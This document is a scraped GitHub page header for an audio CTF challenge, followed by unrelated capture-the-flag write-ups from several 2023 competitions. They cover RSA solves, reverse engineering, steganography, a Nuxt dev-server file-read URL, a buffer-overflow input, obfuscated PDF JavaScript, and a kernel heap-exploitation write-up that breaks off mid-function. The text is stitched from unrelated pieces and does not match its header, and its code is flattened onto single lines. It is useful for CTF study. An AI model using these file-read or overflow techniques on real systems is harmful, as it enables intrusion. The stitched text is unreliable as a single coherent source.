{"payload":{"allShortcutsEnabled":false,"path":"AudioMiscChallenge","repo":{"id":711616530,"defaultBranch":"main","name":"Srdnlen-CTF-2023","ownerLogin":"FeeeDz","currentUserCanPush":false,"isFork":false,"isEmpty":false,"createdAt":"2023-10-29T19:55:30.000Z","ownerAvatar":"https://avatars.githubusercontent.com/u/67475596?v=4","public":true,"private":false,"isOrgOwned":false},"currentUser":null,"refInfo":{"name":"main","listCacheKey":"v0:1698610449.0","canEdit":false,"refType":"branch","currentOid":"f4d1209054c7e17e297fef48f4ae90d125700c6b"},"tree":{"items":[{"name":"AudioMiscChallengeWriteup.md","path":"AudioMiscChallenge/AudioMiscChallengeWriteup.md","contentType":"file"},{"name":"challengeAudio.wav","path":"AudioMiscChallenge/challengeAudio.wav","contentType":"file"}],"templateDirectorySuggestionUrl":null,"readme":null,"totalCount":2,"showBranchInfobar":false},"fileTree":{"":{"items":[{"name":"AjajaSaChef","path":"AjajaSaChef","contentType":"directory"},{"name":"AudioMiscChallenge","path":"AudioMiscChallenge","contentType":"directory"},{"name":"README.md","path":"README.md","contentType":"file"}],"totalCount":3}},"fileTreeProcessingTime":2.340819,"foldersToFetch":[],"treeExpanded":true,"symbolsExpanded":false,"csrf_tokens":{"/FeeeDz/Srdnlen-CTF-2023/branches":{"post":"zjPT-N_wQ7nA46uGEEIcCA4lrDCTa3TZty0fxIEw3GMx0nXG2HuOqcthaHpDIsVgRY9gcPDT5OE2gAFyigrYnw"},"/FeeeDz/Srdnlen-CTF-2023/branches/fetch_and_merge/main":{"post":"bGmDCEr1Oe7bHugXO5030jg5G7hrd7P1Wfa0g-4DeETX404xomUzt7Ye33LQSDAgbMfhuCBY2YtMF0SKjgXjzA"},"/FeeeDz/Srdnlen-CTF-2023/branches/fetch_and_merge/main?discard_changes=true":{"post":"s9e2vi9zoTkHbyN8cniGKF6dy4x1Khw8kuPxsdpWxc8IXXuHx-OrYGpvFBmZrYHaCmMxjD4FdkKHAgG4ulBeRw"}}},"title":"Srdnlen-CTF-2023/AudioMiscChallenge at main · FeeeDz/Srdnlen-CTF-2023"} |
We have three equations, Eq1, Eq2, Eq3.
Eq1 rsa = r * s * a
Eq2 r_s_a = r + s + a
Eq3 rs_ra_sa = r * s + r * a + s * a
1.Factor Eq3 for r
rs_ra_sa = r * (s + a) + s * a
2. Rewrite Eq1 + Substitute:
rsa = r * s * a s * a = rsa/r rs_ra_sa = r * (s + a) + rsa/r
3. Rewrite Eq2 + substitute
s + a = r_s_a -r rs_ra_sa = r * (r_s_a -r) + rsa/r
4. Rewrite
rs_ra_sa = r * (r_s_a -r) + rsa/r rs_ra_sa = -r^2 + r * r_s_a + rsa/r -r^2 + r * r_s_a + rsa/r - rs_ra_sa = 0 -r^3 + r^2 * r_s_a - rs_ra_sa *r + rsa = 0
4. Now we can solve the cubic equation using sympy to find r, s, a. They are the three roots of this equation as all previous rewriting were symmetric and could have been done also with "s" and "a".
from sympy import var, Eq, solve
```pythonfrom sympy import var, Eq, solvea = -1 b = r_s_ac = -rs_ra_sad = rsax = var('x')sol = solve(Eq(a*x**3 + b*x**2 + c*x + d, 0), x)print(sol)r, s, a = sol```
Now we can compute d and solve the challenge:
```pythonfrom sympy import mod_inverse
phi = (r-1) * (s-1) * (a-1)d = mod_inverse(e, phi)
flag_enc = pow(flag_enc, d, rsa)print(int.to_bytes(flag_enc, 54))```Solution:srdnlen{W3lc0m3_t0_srdnlen_ctf_2023_crypt0_ch4ll3ng3s}
|
Reverse image search returns a website with no location besides the University of Delaware. But, it does have a brighter image. Maybe we can search with this instead?Reverse image search now returns a location -- Gore Hall of the Unersity of Delaware!
UDCTF{Gore-Hall} |
# UDCTF 2023
## Classic Checkers
> https://gist.github.com/AndyNovo/f1d9d18cbdbc4901066234077dac9b90>> Author: ProfNinja>
Tags: _rev_
## SolutionNo file is given, but a link to some `Lisp` code. The code is a simple flag checker and all we have to do is to go, case by case and find the corresponding characters. Some cases are easy, some a bit more complex. But all in all its just a bit of tedious work to do and being able to read the Lisp syntax.
To do this I pasted the code to a online interpreter and replaced the `nil` return values with numbers 1, 2... etc. So I could quickly see which check failed. The first check is easy enough, the flag length is expected to be `34`. Then the first six characters are `UDCTF{`, the next character has ascii code 104, which is an `h`.
Doing this we resolve the easy cases, and then try to get the harder ones. For instance check `6` translates to `input[7] - input[9] == 1`. We can try to find candidates and find that `3` and `4` match the requirements.
```bash(defun checkFlag (input) (if (not (= (length input) 34)) nil (if (not (string= (subseq input 0 6) "UDCTF{")) nil (if (not (= (char-code (char input 6)) 104)) nil (if (not (= (+ (char-code (char input 9)) 15) (- (char-code (char input 8)) (char-code (char input 7))))) nil (if (not (= (* (char-code (char input 7)) (char-code (char input 9))) 2652)) nil (if (not (= (- (char-code (char input 7)) (char-code (char input 9))) 1)) nil (if (not (string= (char input 10) (char input 14) ) ) nil (if (not (string= (char input 14) (char input 21) ) ) nil (if (not (string= (char input 10) (char input 25) ) ) nil (if (not (string= (char input 21) (char input 27) ) ) nil (if (not (= (ceiling (char-code (char input 10)) 2) (char-code (char input 12)) ) ) nil (if (not (= 952 (- (expt (char-code (char input 11)) 2) (expt (char-code (char input 13)) 2)) ) ) nil (if (not (string= (subseq input 14 21) (reverse "sy4wla_"))) nil (if (not (string= (subseq input 22 24) (subseq input 6 8))) nil (if (not (= (mod (char-code (char input 24)) 97) 3)) nil (if (not (string= (subseq input 14 16) (reverse (subseq input 26 28)))) nil (if (not (= (complex (char-code (char input 28)) (char-code (char input 29))) (conjugate (complex 76 -49)))) nil (if (not (= (lcm (char-code (char input 30)) (char-code (char input 31))) 6640)) nil (if (not (> (char-code (char input 30)) (char-code (char input 31)) ) ) nil (if (not (= (char-code (char input 32)) (- (+ (char-code (char input 31)) (char-code (char input 30))) (char-code (char input 24))))) nil (if (not (= (char-code (char input 33)) 125)) nil t))))))))))))))))))))))
(print (checkFlag "FLAGHERE"))```
In this fashion we resolve each character one by one until we finally get the flag.
Flag `UDCTF{h4v3_y0u_alw4ys_h4d_a_L1SP?}` |
# TCP1P CTF
## EzPDFIn this task i first checked the PDF file through Acrobat Reader, and by moving the picture i discovered smth very looking very similar to part of the flag:
`_0N_pdf_f1L35_15_345y`
Next, i just opened this pdf file through simple text reader (*notepadqq*), and found following line:
`/Creator (SW4gdGhpcyBxdWVzdGlvbiwgdGhlIGZsYWcgaGFzIGJlZW4gZGl2aWRlZCBpbnRvIDMgcGFydHMuIFlvdSBoYXZlIGZvdW5kIHRoZSBmaXJzdCBwYXJ0IG9mIHRoZSBmbGFnISEgVENQMVB7RDAxbjlfRjAyM241MUM1)`
That looked very similar to **base64** encoding, so i tried to decode that, and got:
`In this question, the flag has been divided into 3 parts. You have found the first part of the flag!! TCP1P{D01n9_F023n51C5`
Great! So we've got 2 parts of 3 parts of the flag. Upon traversing in notepadqq i found another strange looking part of the file:<details><summary>/JS (var whutisthis = 1; if (whutisthis === 1)...</summary>/JS (var whutisthis = 1; if (whutisthis === 1) { this.print({bUI:true,bSilent:false,bShrinkToFit:true}); } else { function _0x510a(_0x4c8c49,_0x29ea76){var _0x5934bd=_0x5934();return _0x510a=function(_0x510a0b,_0x1b87bb){_0x510a0b=_0x510a0b-0x174;var _0x6c8a33=_0x5934bd[_0x510a0b];return _0x6c8a33;},_0x510a(_0x4c8c49,_0x29ea76);}(function(_0x39f268,_0x3518a2){var _0x43b398=_0x510a,_0x1759ee=_0x39f268();while(!![]){try{var _0x14396e=-parseInt(_0x43b398(0x175))/0x1*(-parseInt(_0x43b398(0x177))/0x2)+parseInt(_0x43b398(0x17e))/0x3+-parseInt(_0x43b398(0x17b))/0x4*(parseInt(_0x43b398(0x179))/0x5)+parseInt(_0x43b398(0x183))/0x6*(parseInt(_0x43b398(0x180))/0x7)+parseInt(_0x43b398(0x17f))/0x8+-parseInt(_0x43b398(0x17d))/0x9*(-parseInt(_0x43b398(0x17a))/0xa)+parseInt(_0x43b398(0x178))/0xb*(-parseInt(_0x43b398(0x182))/0xc);if(_0x14396e===_0x3518a2)break;else _0x1759ee['push'](_0x1759ee['shift']());}catch(_0x21db70){_0x1759ee['push'](_0x1759ee['shift']());}}}(_0x5934,0x1d736));function pdf(){var _0xcd7ad1=_0x510a;a=_0xcd7ad1(0x181),b=_0xcd7ad1(0x176),c=_0xcd7ad1(0x174),console[_0xcd7ad1(0x17c)](a+c+b);}pdf();function _0x5934(){var _0x3c1521=['_15N7_17','60PQFHXK','125706IwDCOY','_l3jaf9c','1aRbLpO','i293m1d}','52262iffCez','211310EDRVNg','913730rOiDAg','10xwGGOy','4mNGkXM','log','747855AiEFNc','333153VXlPoX','1265584ccEDtU','7BgPRoR'];_0x5934=function(){return _0x3c1521;};return _0x5934();} })</details>And that (according to tips from the Internet) looked like js obfuscated code. Upon deobfuscation i got:```javascriptvar whutisthis = 1if (whutisthis === 1) { this.print({ bUI: true, bSilent: false, bShrinkToFit: true, })} else { function pdf() { a = '_15N7_17' b = 'i293m1d}' c = '_l3jaf9c' console.log(a + c + b) } pdf()}```And, how you can already tell, this code gives us the third part of the flag:
`'_15N7_17_l3jaf9ci293m1d}`
So, the final flag will look like:
`TCP1P{D01n9_F023n51C5_0N_pdf_f1L35_15_345y_15N7_17_l3jaf9ci293m1d}`
## zipzipzipThis task consisted of the file zip-25000.zip and the password password.txt. After using the unzip command, it became clear that this is a nesting doll of 25000 zip files folded into each other, and with a password. To solve this task, I wrote code in Python that will do it for me:```pythonimport os
zip_number=25000cmd1 = "find . -name '*.zip' -exec unzip -o -P "cmd2 = " {} \; -exec rm {} \;"
file = open("password.txt", "r")pswd = (file.read()).strip()file.close()
for i in range(1, zip_number): print('readed pswd number', i, ' - ', pswd) os.system(cmd1 + pswd + cmd2) file = open("password.txt", "r") pswd = (file.read()).strip() file.close() print('done for: ', i)```
And in file named zip-1.zip we found file named flag.txt.
Flag: `TCP1P{1_TH1NK_U_G00D_4T_SCR1PT1N9_botanbell_1s_h3r3^_^}`
## Sanity CheckThis task had a link to events discord server. Upon searching the flag, i found it in the bot's description.\Flag: `TCP1P{Welcome To TCP1P Server}`
## Guess My NumberIn this task we are presented with file named *guess*, that is unreadable, but strarts with the letters **ELF**. I found app named `radare 2` that lets you effectively dissassemble many file types.
So i dissassembled that file, and with function `afl` looked what functions lies inside that *guess* file. This is what i got:```0x000010d0 1 33 entry00x00001100 4 34 sym.deregister_tm_clones0x00001130 4 51 sym.register_tm_clones0x00001170 5 54 sym.__do_global_dtors_aux0x000010c0 1 6 sym.imp.__cxa_finalize0x000011b0 1 9 sym.frame_dummy0x0000122b 3 183 sym.vuln0x00001060 1 6 sym.imp.srand0x000010b0 1 6 sym.imp.rand0x00001050 1 6 sym.imp.printf0x00001070 1 6 sym.imp.fflush0x00001090 1 6 sym.imp.__isoc99_scanf0x00001030 1 6 sym.imp.puts0x00001040 1 6 sym.imp.system0x000010a0 1 6 sym.imp.exit0x0000130c 1 9 sym._fini0x00001206 1 37 sym.banner0x000012e2 1 41 main0x000011b9 3 77 sym.flag_handler0x00001080 1 6 sym.imp.fopen0x00001000 3 23 sym._init```
Next, i looked up main function by the command `pdf @main`:```int main (int argc, char **argv, char **envp);│ 0x000012e2 55 push rbp│ 0x000012e3 4889e5 mov rbp, rsp│ 0x000012e6 b800000000 mov eax, 0│ 0x000012eb e8c9feffff call sym.flag_handler│ 0x000012f0 b800000000 mov eax, 0│ 0x000012f5 e80cffffff call sym.banner│ 0x000012fa b800000000 mov eax, 0│ 0x000012ff e827ffffff call sym.vuln│ 0x00001304 b800000000 mov eax, 0│ 0x00001309 5d pop rbp└ 0x0000130a c3 ret```
And then, since the banner comes before asking us to guess number, i understood that function that checks our number is sys.vuln, so, i looked it up via `pdf @sys.vuln` and got:
```sym.vuln ();│ ; var int64_t var_4h @ rbp-0x4│ 0x0000122b 55 push rbp│ 0x0000122c 4889e5 mov rbp, rsp│ 0x0000122f 4883ec10 sub rsp, 0x10│ 0x00001233 c705272e0000. mov dword [obj.key], 0 ; [0x4064:4]=0│ 0x0000123d bf39050000 mov edi, 0x539 ; int seed│ 0x00001242 e819feffff call sym.imp.srand ; void srand(int seed)│ 0x00001247 e864feffff call sym.imp.rand ; int rand(void)│ 0x0000124c 8945fc mov dword [var_4h], eax│ 0x0000124f 488d05670e00. lea rax, str.Your_Guess_:_ ; 0x20bd ; "Your Guess : "│ 0x00001256 4889c7 mov rdi, rax ; const char *format│ 0x00001259 b800000000 mov eax, 0│ 0x0000125e e8edfdffff call sym.imp.printf ; int printf(const char *format)│ 0x00001263 488b05ee2d00. mov rax, qword [obj.stdout] ; obj.__TMC_END__│ ; [0x4058:8]=0│ 0x0000126a 4889c7 mov rdi, rax ; FILE *stream│ 0x0000126d e8fefdffff call sym.imp.fflush ; int fflush(FILE *stream)│ 0x00001272 488d05eb2d00. lea rax, obj.key ; 0x4064│ 0x00001279 4889c6 mov rsi, rax│ 0x0000127c 488d05480e00. lea rax, [0x000020cb] ; "%d"│ 0x00001283 4889c7 mov rdi, rax ; const char *format│ 0x00001286 b800000000 mov eax, 0│ 0x0000128b e800feffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)│ 0x00001290 8b45fc mov eax, dword [var_4h]│ 0x00001293 8d90f3671400 lea edx, [rax + 0x1467f3]│ 0x00001299 8b05c52d0000 mov eax, dword [obj.key] ; [0x4064:4]=0│ 0x0000129f 31d0 xor eax, edx│ 0x000012a1 3dbebafeca cmp eax, 0xcafebabe│ ┌─< 0x000012a6 7528 jne 0x12d0│ │ 0x000012a8 488d051f0e00. lea rax, str.Correct__This_is_your_flag_: ; 0x20ce ; "Correct! This is your flag :"│ │ 0x000012af 4889c7 mov rdi, rax ; const char *s│ │ 0x000012b2 e879fdffff call sym.imp.puts ; int puts(const char *s)│ │ 0x000012b7 488d052d0e00. lea rax, str.cat_flag.txt ; 0x20eb ; "cat flag.txt"│ │ 0x000012be 4889c7 mov rdi, rax ; const char *string│ │ 0x000012c1 e87afdffff call sym.imp.system ; int system(const char *string)│ │ 0x000012c6 bf00000000 mov edi, 0 ; int status│ │ 0x000012cb e8d0fdffff call sym.imp.exit ; void exit(int status)│ │ ; CODE XREF from sym.vuln @ 0x12a6(x)│ └─> 0x000012d0 488d05210e00. lea rax, str.Wrong__Try_again_harder_ ; 0x20f8 ; "Wrong, Try again harder!"│ 0x000012d7 4889c7 mov rdi, rax ; const char *s│ 0x000012da e851fdffff call sym.imp.puts ; int puts(const char *s)│ 0x000012df 90 nop│ 0x000012e0 c9 leave└ 0x000012e1 c3 ret```
Then, here i found line that says `0x000012a1 3dbebafeca cmp eax, 0xcafebabe`, where program compare our string with 0xcafebabe.
But before that, we can see this:```0x00001293 8d90f3671400 lea edx, [rax + 0x1467f3]0x00001299 8b05c52d0000 mov eax, dword [obj.key] ; [0x4064:4]=00x0000129f 31d0 xor eax, edx```That means, that our input is firstly XORed with 0x1467f3, and only then it is comared to 0xcafebabe.
So to get the correct input we need to XOR(edx, 0xcafebabe). The rax == **0x000020cb** => edx == **[0x1488be]** and if we look at the memory sector **[0x1488be]** we will find **0x118561dc**, so that means that eax == **0xdb7bdb62**. Simply convert it to decimal and get **3682327394**. If we type that number we will get the flag!
Flag: `TCP1P{r4nd0m_1s_n0t_th4t_r4nd0m_r19ht?_946f38f6ee18476e7a0bff1c1ed4b23b}`
## Bluffer OverflowIn this challenge we are presented with this code:```c#include <stdio.h>#include <stdlib.h>
char buff[20];int buff2;
void setup(){ setvbuf(stdin, buff, _IONBF, 0); setvbuf(stdout, buff, _IONBF, 0); setvbuf(stderr, buff, _IONBF, 0);}
void flag_handler(){ FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Cannot find flag.txt!"); exit(0); }}
void buffer(){ buff2 = 0; printf("Can you get the exact value to print the flag?\n"); printf("Input: "); fflush(stdout); gets(buff); if (buff2 > 5134160) { printf("Too high!\n\n"); } else if (buff2 == 5134160){ printf("Congrats, You got the right value!\n"); system("cat flag.txt"); } else { printf("Sad, too low! :(, maybe you can add *more* value 0_0\n\n"); } printf("\nOutput : %s, Value : %d \n", buff, buff2);}
int main(){ flag_handler(); setup(); buffer();}```
So, we can see the number we need to get is **5134160**. I tried typing characters until i see that buffer is overflown and our input is registered.
The last input that wasn't registered is *0xffffffffffffffffff*, if i tried enhancing that one, value went up.
Next, i just tried bruteforcing it with ASCII characters on my local machine, until i got the answer, that was *0xffffffffffffffffffPWN*, so i tried it in the remote challenge and got the flag.
Flag: `TCP1P{ez_buff3r_0verflow_l0c4l_v4r1abl3_38763f0c86da16fe14e062cd054d71ca}`
## Links[Participation certificate](https://github.com/Archibald1707/ctf_writeups/blob/master/certificate.pdf) |
Here's the idea:
In order to force the computer to choose 83, we need to get to 82. In order to get to 82, we need to ensure that the computer always chooses a number between 76 and 81, inclusive. In order to force this, we need to choose 75. We can use the following logic to essentially set up a pattern that we always need to choose a number that == 5 % 7. Every time we choose this, the computer will always be forced to choose a number that is not 5 % 7. At minimum, it must choose increment the number by 1, i.e. make it 6 % 7. We can get from 6 % 7 back to 5 % 7. Therefore, we are always able to get back to 5 % 7, regardless of the bot's choice.
Hence, by continuously choosing values that are 5 % 7, we can get the flag!
UDCTF{minecr4ft_intern3t_g4ming} |
# UDCTF 2023
## ElectroNES
> Just wanted to make an NES game with a level loader in 6502. Works like this: Your job is to get the electrons to flow from the correct source to the correct sink (circle to circle, triangle to triangle, etc). You can highlight one circuit square at a time and swap it from it's original state to a different state. You only get N moves per level (top right corner), hit start when you think the puzzle is solved and the electrons will flow. This is a rev problem not misc... We built this in an NES game jam.> > (If you want to play more interesting puzzle levels you can grab a non-flag version at https://prof.ninja/electrones/roms/electro.nes)>> Author: ProfNinja>> [`udctf.nes`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/udctf23/rev/electro_nes/udctf.nes)
Tags: _rev_
## SolutionFor this challenge we get a rom for `Nintendo Entertainment System (NES)`. After loading the rom into an [`emulator`](https://fceux.com/web/home.html) we see it's a puzzle game where the player has to adjust circuit boards to let electrons flow from a start position to the intended target.
 
After pressing start the first level is loaded, we have one possible move we can do (one change of the board) and then let the electron move along the circuit until reaching its target.
After playing a few levels we can observer that the level layout are actually characters, starting with `U` in the first level, `D` in the second and so on. After level 6 the game tells us that there are 17 more levels we have to unlock somehow.
At this point we have the start of the flag, so nothing new really. Next we have to see how we can unlock the levels, jump to single levels or whatever would help us to get the flag.
The `6502` code is not extremely extensive, but still, without comments or structure its a tedious task to go through. So we check one thing first, where the game does store its variables. For this the emulator has a nice option that scans the RAM for specified values. After this we can do a rescan for the previously found values with certain logic, for instance what of those values increased by one. With this we can find thee location where the current level index is stored. Some of the potentiall useful variables are:
```bash$001C => max moves$001D => num moves$001E => current level```
Thats nice, we can give us as many moves as we like, but it doesn't help at this moment, since all levels are solveable. We can also change the current level index, but I didn't manage to get it working. After the start screen the first level was always loaded and the game hang when loading the next level but the `$001E` was rewritten.
The next thing I tried was to see where the level data was loaded into ram.
``` 000000 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 000010 FF FF C3 C9 23 24 84 20 2A 4A 3A 00 01 00 01 00 000020 00 00 01 00 00 00 00 01 EF 01 00 FF 00 FF FF FF 000030 00 00 00 00 FF 00 03 03 03 03 00 00 03 03 03 03 000040 00 00 03 03 03 03 00 00 03 03 03 03 00 00 03 03 000050 03 03 00 01 00 00 00 00 00 00 03 03 03 03 00 00 000060 03 03 03 03 00 00 03 03 03 03 00 00 03 03 03 03 000070 00 00 03 03 03 03 00 01 00 00 00 00 00 FF 00 00 000080 00 00 88 00 00 90 FF 00 98 05 FF 01 FF FF 00 FF 000090 FF 00 FF FF 00 FF 00 00 00 00 88 00 00 90 FF 000000A0 98 06 00 00 02 00 0A AD 6A 00 00 00 FF FF FF FF```
We can see that the level data is loaded starting `$0059` in the zero page. We can observe that, if we change tiles on the board the value changes at certain spots. The board layout is linear in memory starting with the top-left tile. Each tile can have values from 0-3 where value 0, 1 and 2 are the three circuit tile types and value 3 is an empty tile. We can change tiles as we wish, or write nonsense values and see what happens. But thats no use to get the flag.
The levels have to be stored somewhere on the rom though. And when a level is loaded, the content is loaded to the zero page location. The hope now is, that the level structure is the same before loading and not obfuscated or encrypted (but we are at NES here, every cycle counds, right?). Scrolling through the ram we can see that our code starts at offset `$8000` that is quite common due to [`NES memory mapping`](https://github.com/solidajenjo/NES-Emulator/blob/master/DragoNES/DragoNES/docs/nesmemorymapping.txt). A bit further down we find some values that look very much like level structure (a lot of bytes with value `03`). Now we check the exact match to the first level and, luck us, find the levels are stored with the exact same linear layout starting at address `$27e0`. Moving on we find each level takes `57` bytes, so we can create a list of offsets for each level:
```bashlevel 1 - $27e0level 2 - $2819level 3 - $2852...```
Verifying this for the first couple of levels looks promising. So we can write a small script to extract the level information and print it to screen.
```pythonimport sys
offset = 0x27e0data = open("udctf.nes", "rb").read()
for lvl in range(0,37): foo = data[offset:offset+36] offset += 57 for i in range(len(foo)): x = "X" if foo[i] != 3 else " " print(x, end="") if (i+1)%6 == 0: print("")
print("")```
Running this, will finally give us the flag.
```bashX XX XX XX XX XXXXXXX
XXXXXX X X X X X X X XXXXXXX
XXXXX X X X X XXXXX
XXXXXX X X X X X
XXXX X XXXXXXX X X
XXX X XX XX X XXX
XX XXXX XX X XX XX XX XXXX XX
XXXXX X XXXXXXX X X XXXXX
XXXXXXXXXXXXX X XXXXXXX```
Flag `UDCTF{NeS_FLAg_OH_SNAP}` |
# A simple website
When downloading the source-code, we see that there is a file called `flag.txt` included inside the `/src` folder.
When inspecting the website, we notice that all the Vue-files are visible and not compiled/abstracted away. This usually means that the developer has started the server in dev-mode, not production. We can verify this by checking the `Dockerfile` in the source-code:
```docker# Start the Nuxt.js development serverCMD ["pnpm", "run", "dev", "--host", "0.0.0.0"]```
So we should be able to exploit some dev-functionality to get an LFI (read files on the server). I came across [this report](https://huntr.dev/bounties/4849af83-450c-435e-bc0b-71705f5be440/), saying the we can utilize the `fs`-package to read files:
```dockerhttp://ctf.tcp1p.com:45681/_nuxt/@fs/flag.txt```
Solved! `TCP1P{OuTD4t3d_NuxxT_fR4m3w0RkK}` |
So for this challenge we got an image file provided `encoded.png`. All we have to know is in the title AND in the description.

Before giving the solution, we need to have in mind two things: Least significant bit (LSB) and the representation of an image.
## Reminder
### Images
An image is basically a 2D list of tuples (R=red, G=green, B=blue) of 3 values.The tuple define a number from 0 to 255 defining the intensity of each color
The width of an image define the number of tuples per lines.The height of an image define the number of lines.

### Least Significant Bit
The least signifcant bit is the last bit of byte. It is used in stego to hide text or else.So we can get multiple bytes and get edit the LSB of each so if we concatenate the LSB of each we get a message. Here is in image before and after editing the LSB (no difference, i think)

## Solution
As the description tell us, i will xor the red value of a tuple with it's green one and iterate this for 30 character = 30 bytes = 30*8 LSB = 240 pixels = 240 tuples.
### Script
I will use a python script with the PIL module for image processing found after some research.
```from PIL import Image
flag = Image.open('encoded.png')
lsb = []
b = ""
pixels = list(flag.getdata())
for c,p in enumerate(pixels):
b+=bin(p[1]^p[0])[-1] if len(b) == 8: lsb.append(int(b, 2)) b="" if c == 240: break for char in (lsb): print(chr(char), end="")```
1. XOR red with green and append the least significant bit to b2. If b is 8 bits, empty it's value in 'lsb' list3. For each bytes in lsb[], print its ascii value
Output after cleaning : `UDCTF{y0u_R_1mag3_wizZarD}`. |
# Misc: Another Discord
## Task:```Author: daffainfo
TCP1P has another discord server?https://discord.gg/kzrryCUutP ```
## Solution:
You are given a discord server, upon joining, you see two channels. A text channel, and a voice channel.
The thing that sticks out the most is the fact that there is an event going on. Just click on `Event Details` and you should see a flag there. This implies that the challenge requires you to go through some discord stuff to find the code. Anyways, we have part 3.
```Part 3: 45_r341ly```
Next part is just like other discord challenges typically present in CTF. You have to either search for the channels, the roles, or both. Let's start with the roles.
You can use this curl command to get all the roles in a server:
```curl -sH "AUTHORIZATION: (discord token here)" https://discordapp.com/api/v6/guilds/{guild.id}/roles```
I don't need to write about getting your discord token, since there's 2000 guides out there. Just know that you shouldn't share it with anyone. Anyways, running this will result in this role showing up inside the list:
```..."name":"Part 2: d0cUM3n74710n_W"```
Cool, let's do the same with channels
```curl -sH "AUTHORIZATION: (discord token here)" https://discordapp.com/api/v6/guilds/{guild.id}/channels```
And then, we get:
```..."name":"Part 4: _H31pFu1}```
So, now we have:
```d0cUM3n74710n_W45_r341ly_H31pFu1}```
But where's Part 1?Well, recently, Discord added a new thing that is rarely used, called the text channels inside voice channels, or something like that. When you hover over a voice channel, there's the new text icon that pops up, click it, then you will see the flag.
```Part 1: TCP1P{d15c0RD_```
So the full flag is
## Flag:
```TCP1P{d15c0RD_d0cUM3n74710n_W45_r341ly_H31pFu1}```
## Resources
[Discord Developer Guide](https://discord.com/developers/docs/resources/guild) |
This is what we're given:
```from Crypto.Util.number import *p=getPrime(512)q=getPrime(512)n=p*qe=65537msg=bytes_to_long(b'UDCTF{REDACTED}')ct=pow(msg,e,n)print(p)print(n)print(e)print(ct)```
We are given p, so finding q and therefore decrypting RSA is trivial! Here's a short demonstration of why for beginners:
Modulus = N = p * q ==> q = N / p Euler's totient function = Φ(n) = (p - 1)(q - 1) Private exponent = d = the modular inverse of e (mod Φ(n)) Message = c ^ d (mod N) If you want to learn more about RSA check [https://bitsdeep.com/posts/attacking-rsa-for-fun-and-ctf-points-part-1/](http://) out!
UDCTF{y3a_b0i_b4by_RSA!}
```p=7009789528005665925389589645247771843738610365138497450285434114825324963561464592190523618045678504210355855286077875965585945664408796837853566415684077n=73061872549912499570368059392056653520123131891860048946474996807859190776947568485365189613739847632132597352816568237525325622321891749472819811314630053648031678826291232292672975634200777457699671848298242827252269004463672931479153540235625891818449660268924228002522141737330313259535617652381070426543e=65537c=8099012654842320180974620472267007973324910863630262955526926760464542904631823196320598910081443799605804614201671967967929893760527002416689993003801924422327762868245291561376910828637706061326005113536536357969201659290874169593264337355365186414719656091960977568710047843815328537885731546232759484717
q = n // pphi = (p - 1) * (q - 1)d = pow(e, -1, phi)m = pow(c, d, n)m = format(m, 'x')for i in range(0, len(m), 2): print(chr(int(m[i:i+2], 16)), end='')``` |
challenge from [https://gist.github.com/AndyNovo/cd42f0f6daae3ef9c9a598a79fe3b877](https://gist.github.com/AndyNovo/cd42f0f6daae3ef9c9a598a79fe3b877)
```sage: xgcd(e1,e2)(2, 3, -1)sage: 3*e1-e22sage: pow(c1,3,n)*pow(c2,-1,n)1961431788352307300595845457082433988232833623253768492393293565472060271503889055742879387430528535394298951985070597929450212807204931988559666493531774987035045437426871983715742495328015154053274720490550701551045381669375133593242617053589053711230070758782588801449555332518050786264860483845325054027950336sage: sqrt(196143178835230730059584545708243398823283362325376849239329356547206027150388905574287938743052853539429895198507059792945021280720493198855966649353177498703504543742687198371574249532801515....: 4053274720490550701551045381669375133593242617053589053711230070758782588801449555332518050786264860483845325054027950336)1400511259630677621420711190056040842621526660361049870761938201785955804984877874845658248232722277197018341972787674215352567681771278798694621529727460656sage: long_to_bytes(1400511259630677621420711190056040842621526660361049870761938201785955804984877874845658248232722277197018341972787674215352567681771278798694621529727460656)b'https://gist.github.com/AndyNovo/aaa4bf206eaaa26dc7ccdbf5254236e0'``` |
# corCTF-2023 kcipher writeup: cross-slab heap traversal for cred structure
We are going to discuss 'kcipher' problem from recent corCTF-2023. As its name suggests it was a kernel pwning chal.
The bug was classic. The funniest part was exploitation: very blurry.
Many different solutions exist and different bypasses to pitfalls were created by different people.
Stay tuned!
## ReversingNo sources were provided. After a little bit of rev we figure out the module mainly operates with this kind of structure:```struct kcipher { int ciph_id; // type of cipher; 1 for xor int byt; // byte to xor with uint64_t size; // size of data to cipher uint64_t str; // base address of data to cipher uint32_t lock; // spinlock char ciph[0x44]; // cipher name};```
Which is created and set up inside the function `device_ioctl(cmd=-0x12411100)`.```long device_ioctl(void *param_1,int cmd,undefined8 arg)
{ // ... if (cmd == -0x12411100) { kciph = (struct kcipher *)kmalloc_trace(___unregister_chrdev,0x400dc0,0x60); // ... fd = anon_inode_getfd("kcipher-buf",kcipher_cipher_fops,kciph,2); if (fd < 0) { kfree(kciph); return (long)fd; } lVar1 = _copy_from_user(kciph,arg,8); if (lVar1 == 0) { if (kciph->ciph_id < 4) { strncpy(kciph->ciph,(&ciphers)[kciph->ciph_id],0x40); return (long)fd; } lVar1 = -0x16; } kfree(kciph); } return lVar1;}
```As we can see it allocates `struct kcipher` and creates the "anon" file with [`file->private_data := allocated struct kcipher`](https://elixir.bootlin.com/linux/v6.5-rc1/source/fs/anon_inodes.c#L226)
Then on userland we can interact with file using `read`/`write` to the returned fd.
Also notice the `copy_from_user(kciph, arg, 8)` lets us to control the `ciph_id` and `byt` fields of allocated `struct kcipher`. They both are responsible for controlling the type of ciphering function used in `cipher_read()`.
Fields `struct kcipher->str` and `->size` are not set up here. The job is done in `cipher_write():````undefined8 cipher_write(long filp,undefined8 user_buf,ulong count)
{ undefined8 flags; char *str; undefined8 uVar1; struct kcipher *kciph; uint *lock_p; kciph = *(struct kcipher **)(filp + 0xc0); if (count < 0x1001) { lock_p = &kciph->lock; flags = _raw_spin_lock_irqsave(lock_p); if (kciph->str != (char *)0x0) { kfree(kciph->str); kciph->str = (char *)0x0; } str = (char *)__kmalloc(count,0xcc0); // here kciph->str = str; // here if (str != (char *)0x0) { kciph->size = count; // here uVar1 = strncpy_from_user(str,user_buf,count); // here _raw_spin_unlock_irqrestore(lock_p,flags); return uVar1; } _raw_spin_unlock_irqrestore(lock_p,flags); } return 0xfffffffffffffff4;}
```
Okay looks fine. Let's get into `cipher_read`
```long cipher_read(long filp,undefined8 user_buf,ulong count)
